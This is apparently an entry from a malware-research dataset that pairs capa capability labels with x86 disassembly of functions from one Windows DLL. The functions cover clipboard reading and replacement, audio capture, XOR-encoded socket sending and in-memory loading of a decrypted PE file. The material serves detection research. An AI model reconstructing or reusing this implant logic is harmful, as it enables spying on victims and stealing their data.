joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100015a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ResumeThread
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
push str.waveInOpen
push str.WINMM.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.waveInGetNumDevs
push str.WINMM.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.waveInPrepareHeader
push str.WINMM.dll
mov ebp, eax
call esi
push eax
call edi
push str.waveInAddBuffer
push str.WINMM.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.waveInStart
push str.WINMM.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x28], eax
call ebp
test eax, eax
jne 0x10001648
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 4
push ebx
push 0x10001700
push 0
push 0
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
push 0x20000
push 0
lea edx, [ebx + 0x46]
push ecx
lea edi, [ebx + 0x18]
push edx
push 0xffff
push edi
mov dword [ebx + 0x2c], eax
call dword [esp + 0x30]
test eax, eax
je 0x10001693
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea esi, [ebx + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [ebx + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [edi]
push eax
push ecx
call dword [esp + 0x28]
add esi, 4
dec ebp
jne 0x1000169b
mov edx, dword [ebx + 0x1c]
mov ecx, dword [edi]
push 0x20
mov eax, dword [ebx + edx*4 + 0x30]
push eax
push ecx
call dword [esp + 0x2c]
mov edx, dword [ebx + 0x2c]
push edx
call dword [esp + 0x28]
mov eax, dword [edi]
push eax
call dword [esp + 0x2c]
mov al, 1
pop edi
pop esi
mov byte [ebx + 0x44], al
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x10001f80
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x1009c328
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.10012d40
lea ecx, [esp + 0x18]
push 1
push ecx
mov ecx, esi
mov dword [esp + 0x18], 0
mov dword [esi], 0x100bc818
mov dword [esi + 0x114], 0
mov byte [esp + 0x20], 0x74
call fcn.10012e90
mov ecx, esi
call fcn.10012f00
push 0
push 0
push esi
push 0x10002060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10001ff8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x100025b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x34
push ebp
mov ebp, ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10002640
push ebx
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
jne 0x1000261c
push esi
mov ecx, 0xc
mov esi, 0x100ff22c
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.10012e90
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
pop ebp
add esp, 0x34
ret
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, ebp
call fcn.10012e90
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
pop ebp
add esp, 0x34
ret

Function at 0x100026b0
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000275f
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [esp + 0x14], eax
call ebp
test eax, eax
je 0x1000274a
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
not ecx
dec ecx
cmp ecx, eax
jne 0x1000274a
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000274a
push ebx
call ebp
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10002770
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000281e
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [esp + 0x14], eax
call ebp
test eax, eax
je 0x10002809
mov ecx, dword [esp + 0x18]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10002809
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10002809
push ebx
call ebp
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10002960
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x10002980
Capabilities:
Delete file

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.10002960
add esp, 4
test al, al
push esi
je 0x100029b1
call dword [sym.imp.MSVCRT.dll_remove]
add esp, 4
test eax, eax
je 0x100029bf
push esi
push 0x100ff288
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret
push 0x100ff278
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret

Function at 0x100046c0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1009c36a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001b80
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.10001b80
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.10001b80
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.10001b80
lea eax, [esp + 0xc]
mov dword [esi], 0x100bc870
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xac], eax
mov al, 0x79
mov byte [esp + 4], al
mov byte [esp + 5], 0x77
mov byte [esp + 6], al
mov byte [esp + 7], 0x6c
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov byte [esp + 8], 0x72
mov byte [esp + 9], 0x71
mov dword [ecx], edx
mov dx, word [esp + 8]
mov al, 0x69
mov byte [esi + 0xb7], 0
mov word [ecx + 4], dx
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 6], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10004890
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.10004d50
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb7], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x100048d1
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x100048ec
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004931
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10004992
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10004a00
push 0
push 0
mov byte [esi + 0xb7], 1
call fcn.1002faf0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x100049d0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x100049f0
mov dl, byte [ecx + eax]
sub dl, 0x7a
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x100049df
pop esi
ret

Function at 0x10004f60
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10004f80
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10004f6f
pop esi
ret
Function at 0x10004f90
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.10004f60
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x10005006
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10004fe5
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10004fc2
cmp dword [esp + 0x1c], 0xf
je 0x1000503c
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10004fba
test ebx, ebx
jle 0x10005030
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10005027
inc esi
cmp esi, 0xf
jl 0x1000500c
cmp esi, 0xf
je 0x1000503c
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x1000503f
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x10006820
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x10006838
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x10006851
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006888
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006888
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.10006970
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x10006911
push eax
push ebx
call fcn.10006b00
add esp, 8
push ebx
call fcn.10006b80
add esp, 4
test eax, eax
je 0x10006941
push ebx
call fcn.10006a40
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10006959
add eax, ebp
test eax, eax
je 0x10006941
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x10006952
push ebx
call fcn.10006d30
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006970
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10006a31
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x100069db
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x10006a0f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x10006a0f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x1000699e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006a40
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x10006af9
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10006a97
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10006adf
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x100ff58c]
je 0x10006ab1
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10006acc
test al, 0x40
je 0x10006ac3
mov ecx, dword [ebx + 0x20]
jmp 0x10006aca
test al, 0x80
je 0x10006adf
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x10006adf
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10006a64
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10007030
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0x5ab
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x1000705d
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x10007051
pop esi
ret
Function at 0x10007320
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x10007507
push ebp
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
and ecx, 3
lea eax, [esp + 0x10]
push 0x104
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100ff5b4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x100074fb
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push SysReAllocString
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x230], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x238], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x238]
lea edx, [ebx + 0x23c]
push 0
push edx
mov edx, dword [ebx + 0x230]
push ecx
push eax
push edx
mov dword [ebx + 0x234], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x238]
mov edx, dword [ebx + 0x234]
push 0x400
push ecx
push edx
call fcn.10007030
mov eax, dword [ebx + 0x234]
push eax
call fcn.10006820
add esp, 0x10
mov dword [0x1013054c], eax
mov ecx, dword [ebx + 0x234]
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1013054c]
test eax, eax
je 0x100074fb
push str.Main
push eax
call fcn.10006ca0
mov esi, eax
add esp, 8
test esi, esi
je 0x100074e0
push 0xa8
mov ecx, ebx
call fcn.100094e0
mov edx, dword [esp + 0x114]
mov eax, dword [0x100ffe9c]
push edx
push eax
push 0x10130f48
call esi
add esp, 0xc
mov ecx, dword [0x1013054c]
push ecx
call fcn.10006d30
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0xa6
mov ecx, ebx
call fcn.100094e0
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x10007520
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [esp + 0x128]
push esi
mov ebx, ecx
push edi
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
lea edx, [esp + 0x28]
push 0x104
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100ff5b4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x3c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x14]
push 0
add eax, 0xfffffff8
push edx
add ebp, 8
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x1c], 0x70
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1d], ecx
add edx, edi
push 9
push eax
mov ecx, ebx
mov dword [esp + 0x29], edx
call fcn.10012e90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8
Function at 0x10007680
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push ebx
xor eax, eax
push ebp
mov ebx, ecx
push esi
mov dword [esp + 0xc], eax
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push 0x104
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x18], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x100ff5b4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10007743
mov dword [ebx + 0x228], esi
mov dword [ebx + 0x22c], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push 9
push ecx
mov ecx, ebx
call fcn.10012e90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret